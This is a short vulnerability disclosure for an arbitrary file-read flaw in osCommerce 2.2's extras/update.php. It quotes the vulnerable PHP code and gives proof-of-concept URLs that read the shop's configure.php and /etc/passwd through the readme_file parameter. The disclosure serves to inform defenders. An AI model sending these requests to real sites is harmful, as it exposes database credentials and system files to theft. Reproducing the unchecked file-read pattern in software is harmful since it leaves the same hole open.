---- osCommerce <= 2.2 "extras/" information/source code disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
	include '../mysql.php';
	// if a readme.txt file exists, display it to the user
	if(!$read_me) {
		if(file_exists('readme.txt')) {
			$readme_file = 'readme.txt';
		}
		elseif(file_exists('README')) {
			$readme_file = 'README';
		}
		elseif(file_exists('readme')) {
			$readme_file = 'readme';
		}
		if($readme_file) {
			$readme = file($readme_file);
			print "<CENTER><TABLE BORDER=\"1\" WIDTH=\"75%\" CELLPADDING=\"2\" CELLSPACING=\"0\"><TR BGCOLOR=\"#e7e7cc\"><TD>\n";
			print nl2br(htmlentities(implode($readme, ' ')));
			print "<HR NOSHADE SIZE=\"1\"><CENTER><A HREF=\"update.php?read_me=1\"><B>Continue</B></A></CENTER>\n";
			print "</TD></TR></TABLE>\n";
			exit;
		}
	}
